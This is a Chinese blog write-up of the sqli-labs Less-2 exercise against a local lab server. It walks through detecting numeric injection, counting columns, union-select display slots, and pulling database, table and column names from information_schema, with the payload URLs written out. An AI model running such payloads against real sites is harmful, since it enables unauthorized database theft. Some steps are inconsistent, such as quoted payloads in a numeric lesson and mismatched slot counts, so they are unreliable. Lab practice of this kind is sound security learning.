sqli-labs第二關 詳解

junlebao發表於2020-10-05

學會了第一關,時隔多天來到了第二關,怎麼說了沒有看wp就給做出來了。

首先,我是自己先判斷了下,這個是什麼注入

?id=1'  不行

?id=1' or '1'='1--+  也不行

然後又嘗試了下

?id=1 and 1=1  頁面顯示正常

?id=1 and 1=2  頁面又錯誤回顯

然後這就是數字注入了

於是我們去查庫,跟第一關的思路是一樣的。然後就爆出了庫。如果不懂的可以點這個連結。

 https://www.cnblogs.com/junlebao/p/13758919.html

 sql注入一般步驟:

第一步:通過特殊的資料庫查詢語句

第二步:在資料庫的錯誤返回中找到sql漏洞

第三步:利用sql語句猜解管理人員資訊並登入管理員後臺

判斷注入型別

數字型注入

1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,因為有一個多餘的"單引號"使查詢語句錯誤

2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1時,沒有報錯

3. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2時,由於1=2不成立,也會報錯

滿足這三個,基本上就是數字注入了

字元型注入

1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,資料庫認為id叫做1'。查詢之後發現沒有這個id而返回錯誤。(在字元型注入中,需要考慮引號的閉合)

2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1之後沒有加上'是因為傳參時輸入的內容已經被' '包圍。

後臺查詢列數

使用order by試出資料庫列數

url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 數字 (如果試4時有錯誤,3時正確,那麼列數為3)

找顯示位

使用union select找出會返回客戶端並顯示的列。如果有3列時,應該這麼寫

url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

加入顯示位是3,這就意味著資料庫開放了5個“視窗”用來顯示內容,用查詢到的資料,在這些視窗顯示資料

查庫名

聯合查詢:select database();

下面是檢視資料庫的版本和資料庫資訊

假如顯示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

查表名

找到庫名以後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='庫名' (如果庫名是字元型,此處庫名要轉成十六進位制)

information_schema:

這是一個mysql自帶的庫,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表列的資料型別與訪問許可權等,所以我們查詢這個庫

查列名

找到表之後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字元型,此處庫名要轉成十六進位制)

如果表數或列數過多,可以在最後使用limit加上limit 0,5相當於檢索1-5條資訊

查具體資料

找到列之後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查詢的資料") from 表名

相關文章